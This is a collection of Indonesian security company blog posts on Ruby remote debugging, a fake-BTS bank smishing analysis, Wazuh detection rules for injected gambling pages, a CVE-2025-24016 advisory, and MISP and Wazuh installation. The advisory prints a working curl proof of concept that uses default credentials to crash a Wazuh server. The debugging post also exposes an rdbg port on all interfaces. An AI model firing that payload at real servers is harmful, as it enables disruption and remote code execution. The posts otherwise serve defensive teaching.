Blog teknis maupun non-teknis berkaitan dengan Cybersecurity. Untuk meningkatkan kapabilitas cybersecurity Indonesia - Medium

Cyberkarta - Medium

<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oMov4wL2zWMDXRmgQUOmKg.png"><figcaption>Ruby Sinatra Application</figcaption></figure>Ruby might not always be the loudest voice in the room these days, but it’s still a solid favorite for developers who love clean syntax and rapid development. As of 2025, Ruby ranks in the top 20 most loved languages according to the Stack Overflow Developer Survey — proof that its charm hasn’t worn off. And while Rails often steals the spotlight, Sinatra continues to quietly power thousands of lightweight apps, APIs, and internal tools around the world.
Simple, fast, and incredibly flexible, Sinatra is still a go-to for developers who want to build web apps without all the extra noise. Whether you’re prototyping an idea, building a microservice, or just learning the ropes of web development in Ruby, Sinatra makes it easy to get started.
In this blog, we’re diving into a key skill every Ruby (and Sinatra) developer should have in their toolkit: debugging. Let’s set up rdbg and walk through how to trace, break, and inspect your Ruby code like a pro — even in a minimal Sinatra app.
<h3>Quick Break</h3>
Alright, cybersecurity’s a wild ride, right? Quick heads-up, I’m with Cyberkarta.
We’re all about that research-backed security, diving deep into your systems for audits or keeping an eye out for threats around the clock. Wanna know more? Check us out at<a href="https://cyberkarta.com/"> https://cyberkarta.com</a> or shoot us an email at <a href="mailto:business@cyberkarta.com">business@cyberkarta.com</a>.
<h3>Firing Up VSCode for Ruby Remote Debugging</h3>
On our successful remote debugging, we used VSCode rdbg Ruby Debugger by Koichi Sasada (<a href="https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg">https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg</a>).
To connect our remote debugger in VSCode to the debugee inside the docker container, we can configure .vscode/launch.json file.
<pre>{ "version": "0.2.0", "configurations": [ { "name": "Remote Debug Sinatra", "type": "rdbg", "request": "attach", "debugPort": "localhost:12345", "localfsMap": "/app/:${workspaceFolder}/app/", } ] }</pre>
Hovering these variables in VSCode, will help you to restructure key:value required. VSCode will also mark incorrect key:value combinations during your restructuring effort.
<h3>`rdbg` For Remote Debugging</h3>
First of all, make sure all of your code is in the testing environment. Then, you can include this line inside Gemfile, or install it on the testing environment.
<pre>gem 'debug'</pre>
To execute remote debugging, you can utilize rdbg. It is the built-in debugger for Ruby, introduced in Ruby 3.1. It gives you a powerful, interactive way to inspect and control your Ruby code while it’s running.
<pre># inside Dockerfile RUN rdbg --open --host "0.0.0.0" --port 12345 -- /your/ruby/file.rb EXPOSE 12345</pre>
Finally you can build and run the docker container. Don’t forget to expose the debugging port.
<pre>docker build -t sinatra_debug . docker run -p 80:80 -p 12345:12345 -it sinatra_debug</pre>
<h3>Testing</h3>
Remote debugging testing.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UfVgCcvyG6VViSsT"><figcaption>Our remote debugger has successfully set a breakpoint.</figcaption></figure>Source Code Navigation.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eXmASytdUmDA1QHJ"><figcaption>The variables are clearly visible to us.</figcaption></figure><h3>Closing</h3>
Debugging might not be the flashiest part of development, but it’s where the real understanding happens. With `rdbg` in your toolkit, you’ve got a powerful way to dig into your Ruby or Sinatra app, fix bugs faster, and even spot potential security issues before they become problems. Whether you’re building something new or hunting down a weird edge case, solid debugging skills will always have your back.
Happy coding — and happy bug hunting!
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=cee53338ed61" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/remote-debugging-ruby-sinatra-application-using-docker-and-vscode-cee53338ed61">Remote Debugging Ruby Sinatra Application using Docker and VSCode</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Remote Debugging Ruby Sinatra Application using Docker and VSCode

<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XIgv0Lg0l_rnzEJsVhsMUg.png"></figure>A Fake BTS (Base Transceiver Station) Attack is a type of man-in-the-middle (MITM) attack where an attacker sets up a rogue cellular tower (BTS) to intercept mobile communications. This attack is commonly used for eavesdropping, location tracking, SMS interception, and even injecting malicious payloads into a victim’s device.
Historically, in 2017 fake-BTS attacks were used to distribute banking trojans called “Swearing Trojan”. A trojan that specialized in stealing financial information from online banking systems. It’s a dangerous form of trojan horse malware that can lead to identity theft and other types of fraud.
<h3>How Fake BTS Attacks Happen</h3>
Every mobile network technology is susceptible to fake BTS attacks. However GSM/2G networks are the most vulnerable because of several reasons.
<ol>
<li>GSM does not require mutual authentication between BTS and the mobile device.</li>
<li>Weak encryption (A5/1, A5/2) can be easily cracked or even disabled by a rogue BTS.</li>
</ol>
In Indonesia, SMS services are still supported over 2G networks. While many operators have phased out 3G services to reallocate resources to more advanced technologies like 4G and 5G, 2G networks continue to operate to support basic services such as voice calls and SMS.
Since mobile phones always connect to the strongest available BTS, the rogue BTS may overpower legitimate signals, forcing nearby devices to connect. Once connected, the attacker can intercept calls, SMS, and data traffic, even downgrade encryption (e.g., force 2G with weak encryption) to make decryption easier.
Finally, the attacker can redirect calls, send spoofed SMS, or even deploy malicious software to targeted devices.
<h3>Recent Recorded Attack by Leveraging Fake BTS</h3>
On 6 March 2025, there was one sample of threat actors who leverage fake BTS attacks to send fraudulent links. Deceptively, the link was sent using 83355, a number used by Bank Mandiri to send financial activity notifications to the user.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*9z76yg21AIFxCjIocEbEEg.jpeg"></figure>The fraudulent message starts with a very convincing word “Mandiri: ”. As if the actor knew that the message would be received by a non-Mandiri user.
<h3>Analyzing the Link</h3>
By proxying traffic from Android to Burp, we can bypass some limitation that may apply (e.g. User-Agent limitation). The link pointed to https[://]qmandiri[.]top/id.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0HrKAR3PUeeExQUW8bJNdA.png"></figure>If we deep dive more to analyze the fraudulent link, we can find that the link was pointed to 124[.]156[.]199[.]25. This IP comes from Tencent cloud network. There are three open ports (22, 80, and 443) and the same IP is used by domain mandiris[.]top.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NarHn0kVmX5ikocq52imXg.png"></figure>Even though multiple connection attempts were made, no HTTP responses were returning interesting results. The campaign may either pause or be hidden under a random directory path.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ukfLuv3fZD8tiMZLbesryg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9HI5dn1EzBq0dOSWcvzYOQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iHF9HxLZIJZtpzU70fW6Cw.png"></figure><h3>Closing</h3>
Traditional SMS messaging is still used as delivery method of information and even authentication method (such as SMS OTP). Without any action to the current state of the national-scale network or any other prevention, the impact of fake BTS attacks can be serious in the near future.
More blog at <a href="https://cyberkarta.com/blog">https://cyberkarta.com/blog</a>
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=439b9764465c" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/fake-bts-attack-was-leveraged-to-send-bank-mandiri-sms-phishing-aka-smshing-attack-439b9764465c">Fake BTS Attack was Leveraged to Send Bank Mandiri SMS Phishing aka SMShing Attack</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Fake BTS Attack was Leveraged to Send Bank Mandiri SMS Phishing aka SMShing Attack

<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KHgTQJcD58nPXguPNOxm_w.png"><figcaption>Serangan situs judol pada situs pemerintahan</figcaption></figure><h4>Overview</h4>
Saat ini masif sekali attack terhadap website di Indonesia dari situs-situs penyedia layanan judi online. Modus operandi mereka adalah memanfaatkan celah di situs dan meng-inject atau mengubah file yang ada dalam directory website dengan laman promosi judi online. Melalui modus operandi yang dilakukan, sebetulnya saya langsung terpikirkan bahwa ini seharusnya bisa dideteksi menggunakan Wazuh FIM.
Wazuh memiliki fitur File Integrity Monitoring (FIM) yang bisa mendeteksi penambahan, perubahan, maupun penghapusan file dalam direktori yang diawasi, secara default FIM ini dijalankan setiap 12 jam. Konfigurasi FIM bisa ditambahkan dengan property ‘real-time’ dan ‘report-changes’ untuk mendeteksi perubahan secara real time dan mendeteksi ada perubahan apa pada file tersebut. Limitasinya adalah ‘report-changes’ hanya bisa diterapkan pada file berbasis text. Sementara itu file laman dan kode pada direktori website berupa file text, sehingga metode ‘report-changes’ bisa diterapkan.
<h4>Konfigurasi pada Agent</h4>
Masukkan direktori website dan enable property ‘real-time’ dan ‘report-changes’ pada konfigurasi agent di /var/ossec/etc/ossec.conf di dalam tag &lt;syscheck&gt;
<pre>&lt;directories realtime="yes" check_all="yes" report_changes="yes"&gt;/var/www/html&lt;/directories&gt;</pre>
SIlakan ganti /var/www/html dengan direktori website masing-masing. Lalu restart wazuh agent untuk mengaktifkan konfigurasi ini. FIM ini bersifat recursive, jadi wazuh agent akan mengawasi isi direktori dan sub direktori yang ada pada path yang dicantumkan.
<pre>systemctl restart wazuh-agent</pre>
Konfigurasi ini juga bisa diterapkan melalui shared configuration pada wazuh manager pada file /var/ossec/etc/shared/default/agent.conf dengan menambahkan konfigurasi ini dalam tang &lt;agent_config&gt;
<pre>&lt;syscheck&gt; &lt;directories realtime="yes" check_all="yes" report_changes="yes"&gt;/var/www/html&lt;/directories&gt; &lt;/syscheck&gt;</pre>
Aktifkan shared configuration ini jika direktori website dalam beberapa agent berada pada path yang sama.
<h4>Konfigurasi dari Wazuh Manager</h4>
Tambahkan rules untuk mendeteksi file judol. Rules ini terdiri dari 2 tahap:
<ol>
<li>Mendeteksi jika ada file baru ditambahkan pada direktori website</li>
<li>Mendeteksi jika ada perubahan file yang berisi signature laman judol</li>
</ol>
Tambahkan pada /var/ossec/etc/rules/local_rules.xml atau buat file rules sendiri.
<pre>&lt;!-- Rules for judol detection --&gt; &lt;group name="ossec,syscheck,"&gt; &lt;!-- This rule detects file creation on web directory --&gt; &lt;rule id="500554" level="12"&gt; &lt;if_sid&gt;554&lt;/if_sid&gt; &lt;field name="file" type="pcre2"&gt;(?i)public|www|html&lt;/field&gt; &lt;description&gt;[File creation on web directory]: New file $(file) on web directory&lt;/description&gt; &lt;group&gt;syscheck_entry_added,syscheck_file&lt;/group&gt; &lt;mitre&gt; &lt;id&gt;T1105&lt;/id&gt; &lt;id&gt;T1505&lt;/id&gt; &lt;/mitre&gt; &lt;/rule&gt; &lt;!-- This rule detects files modified with judol signatures. --&gt; &lt;rule id="500550" level="15"&gt; &lt;if_sid&gt;550&lt;/if_sid&gt; &lt;field name="changed_content" type="pcre2"&gt;(?i)slot|gacor|maxwin|thailand|sigmaslot|zeus|cuan&lt;/field&gt; &lt;description&gt;[Judol File Modification]: File $(file) contains a judol signature&lt;/description&gt; &lt;group&gt;syscheck_entry_modified, syscheck_file, judol_file&lt;/group&gt; &lt;mitre&gt; &lt;id&gt;T1105&lt;/id&gt; &lt;id&gt;T1505.003&lt;/id&gt; &lt;/mitre&gt; &lt;/rule&gt; &lt;/group&gt;</pre>
Rules 500554 akan mendeteksi jika ada file baru yang ditambahkan pada direktori website. Jika ada file yang ditambahkan namun path bukan pada upload direktori ataupun bukan pada saat update/patch website, maka itu adalah event yang harus dicurigai dan segera dilakukan pengecekan.
Rules 500550 akan memeriksa isi perubahan pada file yang berubah. Jika ada signature judol yang disertakan dalam &lt;changed_content&gt; maka event akan dibangkitkan.
Rules lengkap bisa dilihat pada: <a href="https://github.com/bayusky/wazuh-custom-rules-and-decoders/tree/main/rules">wazuh-custom-rules-and-decoders/rules at main · bayusky/wazuh-custom-rules-and-decoders</a>
Save lalu restart wazuh manager
<pre>systemctl restart wazuh-manager</pre>
<h4>Proof of Concept</h4>
SSH ke dalam VM web server lalu buat file baru pada direktori yang diawasi
<pre>touch /var/www/html/index.text</pre>
Perhatikan alert yang muncul
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*PqX1WfDEWrmnF4QDlZFk_w.png"></figure>Rule 500554 akan dengan level 12 akan di-generate oleh Wazuh, karena ada file yang ditambahkan pada direktori web server.
Lalu masukkan signature judol pada file yang ditambahkan tadi.
<pre>echo "maxwin slot gacor" &gt;&gt; /var/www/index.text</pre>
Perhatikan alert yang muncul.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fz2PIslnjaY3P3f3knAzzA.png"></figure>Rule 500550 akan di-generate oleh Wazuh dengan level 15 yang menunjukkan adanya dignature judol yang dimasukkan ke dalam file
<figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*G_YA8sn2PidJCBs_nltL9w.png"></figure>Bagian yang berubah ditangkap dalam key syscheck.diff.
<h4>Visualisasi dan Dashboard</h4>
Untuk memudahkan pemantauan, bisa dibuat visualiasi untuk memberitahukan bahwa ada alerts mengenai judol yang dibangkitkan. Pada side menu, pilih menu Visualize di dalam Explore.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*aRc8zimwXV3tJWvLRE_XSA.png"></figure>Lalu pilih create visualization, pilih Metric.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z2fCp_wzcEAIzH-sc6Wdlw.png"></figure>Untuk sumber data, pilih wazuh-alerts-*
<figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*dKn1GgCJ_OgJa7CvE6Nepw.png"></figure>Klik Add filter, pilih filter seperti pada gambar berikut: rule.id is 500554 untuk rule new file pada direktori web, atau rule.id is 500550 untuk signature judol, klik Save.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*YclaqX2DXcA4HHf9aBnjiQ.png"></figure>Klik Save di pojok kanan atas untuk menyimpan visualisasi.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ffHBJj73dgZHQ_dss-S-SQ.png"></figure>Beri nama visualisasi yang menggambarkan informasi yang ditampilkan, lalu klik Save
<figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*SspZXUUWJvCD3NhtyRjqxw.png"></figure>Ulangi untuk file judol.
Selanjutnya buat visualisasi untuk menampilkan path file dan agent lokasi file tersebut terdeteksi. Pilih jenis visualisasi Data Table, lalu wazuh-alerts-* untuk sumber data.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EDUQ-VdBz9VKOjDncEYloA.png"></figure>Atur filter rule.id is 500554 untuk rule new file pada direktori web, atau rule.id is 500550 untuk signature judol, klik Save.
Pada menu kanan, bagian data, klik Buckets klik Add lalu klik Split rows
<figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*qlqv7YSedHiIQcDb2jQFXw.png"></figure>Klik Aggregation lalu pilih Terms, pada Field ketik agent.name lalu isi Agent untuk Custom Label. Buckets ini artinya visualisasi akan dibedakan per barisnya untuk setiap agent.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*V9hxECsZNa4lfd0NcJ8QUQ.png"></figure>Klik Addlagi dan pilih Split rowslagi untuk menambahkan data berikutnya untuk Sub-buckets.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*EMR_OdahCrvmUmt0meRtAQ.png"></figure>Pilih Terms untuk Sub-aggregation, ketik syscheck.pathpada Field lalu isi Path untuk Custom Label. Buckets ini artinya visualisasi akan dibedakan per barisnya untuk path file yang berubah untuk setiap agent. Lalu klik Update
<figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*POwkKRwFGL2pUbIhxVhNTQ.png"></figure>Periksa hasil Visualisasi, jika sudah sesuai klik Save lalu berikan judul sesuai dengan informasi yang ditampilkan.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CiIN_9o1lzXsQFaSxplNRw.png"></figure>Ulangi hal yang sama untuk rule.id: 500550
Pastikan Visualisasi ini sudah ada pada menu Visualize.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w8HmyHVM8Kl1INjI5WOQ-Q.png"></figure>Buat Dashboard baru melalui side menu Explore &gt; Dashboard &gt; Create new Dashboard
<figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*hCiFHAuro06UXaX_1W4Jcw.png"></figure>Untuk menambahkan Visualisasi ke dalam Dashboard pilih menu Add, lalu tambahkan semua Visualisasi yang sudah dibuat
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hamuV9_haRIc9thX9XHRPw.png"></figure>Pilih semua visualisasi yang sudah dibuat
<figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*Ogl3m7JkLQkPMAdV6fB6_Q.png"></figure>Isi panel pada dashboard dapat disesuaikan agar menarik dan informatif dengan metode klik and drag pada Judul panel dan Icon pada kanan bawah panel.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8sfo5t60YfT5n2F7_Fwidw.png"></figure>Save Dashboard dengan memberikan judul yang sesuai dengan informasi yang ditampilkan.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*o4yRPjEcq_fSugYE4bHWiw.png"></figure>Sehingga ketika membuka Wazuh kembali, Dashboard bisa langsung dipilih untuk ditampilkan kembali.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_JNRjIBILcawJmuOQQjy5w.png"></figure>Jika sudah memiliki Dashboard monitoring, Visualisasi juga bisa ditambahkan untuk visibilitas Event.
Tips 1. Wazuh memiliki session yang pendek jadi harus login secara berkala, namun jika ingin Dashboard SOC ditampilkan dalam waktu lama dan dalam session yang panjang, bisa diintegrasikan dengan Grafana Dashboard (akan dibahas pada course mengenai SOAR yang akan launching di Cyberkarta).
Tips 2. Kirimkan alert mengenai Rules 500554 dan 500550 melalui Telegram Bot supaya bisa direspon dengan cepat oleh tim CSIRT, caranya bisa mengikuti: <a href="https://bayuskylabs.com/integrasi-wazuh-alert-dengan-telegram-bot/">Integrasi Wazuh Alert dengan Telegram Bot — BayuSky’s Virtual Labs</a>
Tips 3. Bisa ditambahkan deteksi webshell / reverse shell untuk mendetksi kapan file judol di-inject mengikuti tutorial: <a href="https://wazuh.com/blog/web-shell-attack-detection-with-wazuh/">Web shell attack detection with Wazuh | Wazuh</a>
Tips 4. Jika sudah terlanjur ada file judol sebelum rules ini diterapkan, bisa dicari menggunakan tools buatan rekan saya: <a href="https://github.com/adpermana/Incident-Response-Tools/tree/analisa">adpermana/Incident-Response-Tools at analisa</a>
<h4>Conclusion</h4>
Rules ini dapat mendeteksi jika ada perubahan file terkait judol. Namun tetap diperlukan reaksi cepat dari tim CSIRT jika alert ini muncul. Perhatikan path dan juga isinya untuk menghindari alerts yang bersifat false-positive.
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=4d43fb8333f6" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/deteksi-file-judol-memanfaatkan-fim-wazuh-4d43fb8333f6">Deteksi File Judol memanfaatkan FIM Wazuh</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Deteksi File Judol memanfaatkan FIM Wazuh

<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8RT15zSKQkIS8EyCf58EOg.png"><figcaption>Sumber Gambar: <a href="https://cdn.ariyolo.id/blog/2024/09/wazuh-standard-featured-picture.png">https://cdn.ariyolo.id/blog/2024/09/wazuh-standard-featured-picture.png</a></figcaption></figure>Wazuh adalah platform keamanan yang menyediakan deteksi ancaman, visibility, dan compliance untuk lingkungan IT yang dapat digunakan secara open-source atau gratis, terutama pada blue team cybersecurity.
Baru kali ini, terdapat celah kerentanan berupa unsafe deserialization pada API yang dimiliki oleh server Wazuh, yang mengakibatkan penyerang atau threat actor yang memiliki akses API (terutama pada Wazuh yang terdampak oleh kerentanan ini) dapat menjalankan Remote Command Execution (RCE). Pada saat artikel ini dibuat, kerentanan ini berdampak pada Wazuh versi 4.4.0 hingga 4.9.1.
<h4>Proof-of-concept</h4>
Dengan asumsi terdapat default credentials pada server API, serangan RCE dapat dilakukan dengan menjalankan perintah berikut yang dapat mematikan master server pada Wazuh.
<pre>$ curl -X POST -k -u "wazuh-wui:MyS3cr37P450r.*-" -H "Content-Type: application/json" - data '{"__unhandled_exc__":{"__class__": "exit", "__args__": []}}' https://&lt;worker-server&gt;:55000/security/user/authenticate/run_as</pre>
<h4>
Severity (Tingkat kerentanan)</h4>
<ul>
<li>Skor: 9.9 (Critical)
</li>
<li>Metrik CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H</li>
</ul>
<h4>Sumber</h4>
<ul>
<li><a href="https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh">Wazuh Security Advisory dan PoC</a></li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24016">NIST</a></li>
</ul>
Visit our website at <a href="https://cyberkarta.com/">https://cyberkarta.com</a>
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d310404324be" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/cve-2025-24016-celah-remote-code-execution-kritis-ditemukan-pada-wazuh-d310404324be">CVE-2025–24016: Celah Remote Code Execution Kritis ditemukan pada Wazuh</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

CVE-2025–24016: Celah Remote Code Execution Kritis ditemukan pada Wazuh

<h3>Part 1 : Integrasi Wazuh dan CTI. Instalasi MISP Threat Intelligence</h3>
MISP adalah open source threat intelligence yang dapat diinstall secara on premise. MISP dpat dijadikan sebagai sumber informasi tambahan untuk pengayaan informasi untuk Wazuh agar dapat berfungsi sebagai XDR. System requirements untuk MISP adalah sebagai berikut :
<ul>
<li>2 CPU</li>
<li>4GB RAM</li>
<li>150 GB Storage</li>
</ul>
Instalasi menggunakan docker, namun harus menggunakan package dari dockerhub. Jika instalasi dari apt resources (untuk Ubuntu) kemungkinan akan mendapatkan error saat build images. Jadi pertama-tama install dulu docker engines dengan langkah-langkah berikut.
Install docker engine dari dockerhub
<pre>for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do apt-get remove $pkg; done</pre>
<pre># Add Docker's official GPG key: apt-get update apt-get install ca-certificates curl install -m 0755 -d /etc/apt/keyrings sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc sudo chmod a+r /etc/apt/keyrings/docker.asc</pre>
<pre># Add the repository to Apt sources: echo \\ "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] &lt;https://download.docker.com/linux/debian&gt; \\ $(. /etc/os-release &amp;&amp; echo "$VERSION_CODENAME") stable" | \\ tee /etc/apt/sources.list.d/docker.list &gt; /dev/null apt-get update</pre>
<pre>sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin</pre>
Setelah docker engine siap, kita bisa melanjutkan ke instalasi MISP. Langkah-langkahnya adalah sebagai berikut.
Clone repositori MISP
<pre>git clone &lt;https://github.com/MISP/misp-docker&gt; &amp;&amp; cd misp-docker</pre>
Ubah parameter di .env
<pre>cp template.env .env nano .env</pre>
<pre>## ubah bagian ini MISP_BASEURL=https://&lt;misp-ip-address&gt;</pre>
MISP base url ini harus tepat karena tampilan dari UI MISP bergantung dari path yang ditentukan di sini.
Pada docker compose, service misp, hanya expose https
<pre>nano docker-compose.yml</pre>
<pre>## ubah ports</pre>
<pre> #"80":"80" "443":"443"</pre>
Build image
<pre>docker compose build</pre>
Up image
<pre>docker compose up -d</pre>
Follow logs dengan menggunakan command
<pre>docker logs &lt;ID&gt; --follow</pre>
Setelah muncul log berupa MISP is live now, user can login, buka UI MISP
<pre>https://base_url_MISP</pre>
Login menggunakan credential default yaitu username: <a href="mailto:admin@admin.test">admin@admin.test</a> dan password: admin. Segera ganti password dengan password yang lebih kuat.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XD1apFjt8zo4yk24o4_uCA.png"><figcaption>change password menu</figcaption></figure>Ambil feeds dari <a href="https://github.com/MISP/MISP/blob/2.4/app/files/feed-metadata/defaults.json">sini</a> untuk memasukkan sumber data. Copy raw value lalu pase di Sync Actions &gt; Feeds &gt; Import Feeds from JSON.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jH3dpChUwWP1BMuuIL3eNw.png"></figure>Akan muncul pada List Feeds daftar sumber data
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Cnn6kIj5XhbCpp8WJuwxQ.png"></figure>Centang lalu klik Enable feeds untuk mengaktifkan sumber data, lalu klik fetch and store all feed data untuk mendownload data yang disediakan setiap sumber feeds.
Kita bisa melihat data yang diambil dari feeds pada Event Actions.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kFG5D7-6cZwCMYapCrPl1g.png"></figure>Dan dapat melihat attributes yang muncul untuk setiap events di List Attributes.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3exWVNzi-ImrK7ijOrWtNQ.png"></figure>List attributes ini yang akan dijadikan lookup value oleh Wazuh untuk pencarian IoC.
Agar Wazuh bisa otomatis lookup, butuh Authkey untuk akses API. Buat Authkey untuk akses API MISP, lokasi di Administration &gt; List Auth Keys &gt; Add Authentication Key
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HbQRbXSA2XIhmfCVtHVwPA.png"></figure>Centang read-only jika ingin membatasi akses.
Tes API.
<pre>curl -k --header "Authorization: &lt;API-key&gt;" \ --header "Accept: application/json" \ --header "Content-Type: application/json" \ https://&lt;MISP-IP&gt;/attributes/restSearch/value:bayuskylabs.com</pre>
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z7KpqwVYGVc-7i2Sl7ec7g.png"></figure>Jika attributes kosong berarti tidak ada security event terkait dengan lookup value di MISP.
Jadwalkan untuk siknronisasi feeds setiap tengah malam, supaya bisa feeds selalu up to date datanya.
<pre>00 0 * * * /usr/bin/curl -XPOST --insecure --header "Authorization: **YOUR_API_KEY**" --header "Accept: application/json" --header "Content-Type: application/json" https://**YOUR_MISP_ADDRESS**/feeds/fetchFromAllFeeds</pre>
MISP instance sudah siap dijadikan sumber data untuk Wazuh. Akan berlanjut ke Part 2 untuk mengkoneksikan Wazuh dengan MISP.
Untuk Integrasi dan pemanfaatan MISP ini juga saya bahas di Course Wazuh 2 di Cyberkarta : <a href="https://www.cyberkarta.com/kelas/Production-Ready-SIEM-dan-SOC-Menggunakan-Wazuh-dan-Graylog">Production Ready SIEM dan SOC Menggunakan Wazuh dan Graylog (cyberkarta.com)</a> Bagi yang ingin mendalami CTI, akan ada live course tentang CTI di Cyberkarta. Stay tuned.
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=639efd9f43e7" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/part-1-integrasi-siem-dan-cti-instalasi-misp-threat-intelligence-639efd9f43e7">Part 1 : Integrasi SIEM dan CTI. Instalasi MISP Threat Intelligence</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Part 1 : Integrasi SIEM dan CTI. Instalasi MISP Threat Intelligence

12 Juni 2024, Wazuh melakukan rilis versi terbarunya, yaitu Wazuh versi 4.8.0. Terdapat banyak revamp dan reposition untuk tampilan Wazuh supaya lebih mudah mengelompokkan security events. Artikel ini akan membahas instalasi dan quick look untuk Versi terbaru Wazuh.
Requirements
System requirements untuk Wazuh 4.8.0 masih sama dengan versi sebelumnya yaitu untuk testing menggunakan minimal resource sebagai berikut:
<ul>
<li>2 core CPU/vCPU</li>
<li>4GB RAM</li>
<li>50GB Storage</li>
</ul>
Saya melakukan testing instalasi di 2 lokasi: idcloudhost dan local VM (VirtualBox). Untuk langkah instalasi ini masih sama dengan versi sebelmnya, saya akan bahas menjadi 2 yaitu quickstart dan assissted installation.
Quickstart
Metode Quickstart ini adalah metode instalasi one liner dengan listen IP di 127.0.0.1 di Wazuh Manager dan Wazuh Indexer. Sementara Wazuh dashboard menggunakan IP 0.0.0.0 yang artinya menerima semua koneksi. Tinggal copy paste saja dengan catatan jalankan ini pada akun yang memiliki privilege root.
<pre>curl -sO https://packages.wazuh.com/4.8/wazuh-install.sh &amp;&amp; sudo bash ./wazuh-install.sh -</pre>
Setelah selesai, akan muncul username dan password untukAkses Wazuh Dashboard.
Assisted Installation
Assisted installation menggunakan Wazuh Install Script dari wazuh untuk meginstal setiap komponen Wazuh. Langkah-langkahnya adalah sebagai berikut:
<ul><li>Download file konfigurasi dan installer</li></ul>
<pre>curl -sO https://packages.wazuh.com/4.8/wazuh-install.sh curl -sO https://packages.wazuh.com/4.8/config.yml</pre>
<ul><li>Modifikasi config.yml</li></ul>
<pre>nodes: # Wazuh indexer nodes indexer: - name: node-1 ip: "192.168.1.9" #- name: node-2 # ip: "&lt;indexer-node-ip&gt;" #- name: node-3 # ip: "&lt;indexer-node-ip&gt;" # Wazuh server nodes # If there is more than one Wazuh server # node, each one must have a node_type server: - name: wazuh-1 ip: "192.168.1.9" # node_type: master #- name: wazuh-2 # ip: "&lt;wazuh-manager-ip&gt;" # node_type: worker #- name: wazuh-3 # ip: "&lt;wazuh-manager-ip&gt;" # node_type: worker # Wazuh dashboard nodes dashboard: - name: dashboard ip: "192.168.1.9"</pre>
IP 192.168.1.9 adalah IP VM untuk wazuh manager.
<ul><li>Generate config file</li></ul>
<pre>bash wazuh-install.sh --generate-config-files</pre>
<ul><li>Instalasi Wazuh Indexer</li></ul>
<pre>bash wazuh-install.sh --wazuh-indexer node-1</pre>
<ul><li>Start Cluster</li></ul>
<pre>bash wazuh-install.sh --start-cluster</pre>
